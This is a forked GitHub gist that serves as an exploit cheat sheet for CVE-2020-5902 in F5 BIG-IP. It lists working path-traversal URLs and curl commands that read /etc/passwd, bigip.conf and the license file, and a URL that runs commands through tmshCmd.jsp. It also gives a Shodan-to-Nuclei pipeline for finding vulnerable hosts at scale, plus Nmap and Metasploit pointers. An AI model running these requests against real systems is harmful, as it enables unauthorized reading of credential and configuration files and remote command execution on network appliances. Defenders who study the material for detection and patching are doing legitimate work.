Skip to content

Instantly share code, notes, and snippets.

@carlton0521
Forked from cihanmehmet/CVE-2020-5902.md
Created March 11, 2021 12:47
Show Gist options
  • Select an option

  • Save carlton0521/2d7ebbc0d077eb680aa78fc52ffa3550 to your computer and use it in GitHub Desktop.

Select an option

Save carlton0521/2d7ebbc0d077eb680aa78fc52ffa3550 to your computer and use it in GitHub Desktop.
BIGIP CVE-2020-5902 Exploit POC

๐Ÿ”ธBIGIP CVE-2020-5902 Exploit POC ๐Ÿ”ฅ๐Ÿงฑ๐Ÿ”จ๐Ÿ‘€


##ย LFI

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

##ย RCE

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami

๐ŸŽฏ Manuel POC ๐Ÿ”ฅ

curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
curl -sk 'https://{IP}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

๐Ÿ“œ Nuclei Detect CVE-2020-5902

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml

nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -l https.txt

image


image

๐Ÿ”Ž NMAP Script for CVE-2020-5902


wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

image

๐ŸšฉCVE-2020-5902 Scanner Python Script

https://github.com/dunderhay/CVE-2020-5902

https://github.com/aqhmal/CVE-2020-5902-Scanner

๐Ÿ’ก Automate Find CVE-2020-5902 ๐Ÿ”Ž

https://medium.com/@dwi.siswanto98/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77

shodan search org:"Target" http.favicon.hash:-335242539 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | httprobe | nuclei -t workflows/bigip-pwner-workflow.yaml

๐Ÿ”จRCE Metasploit CVE-2020-5902

rapid7/metasploit-framework#13807

modules/exploits/linux/http/f5_bigip_tmui_rce.rb https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment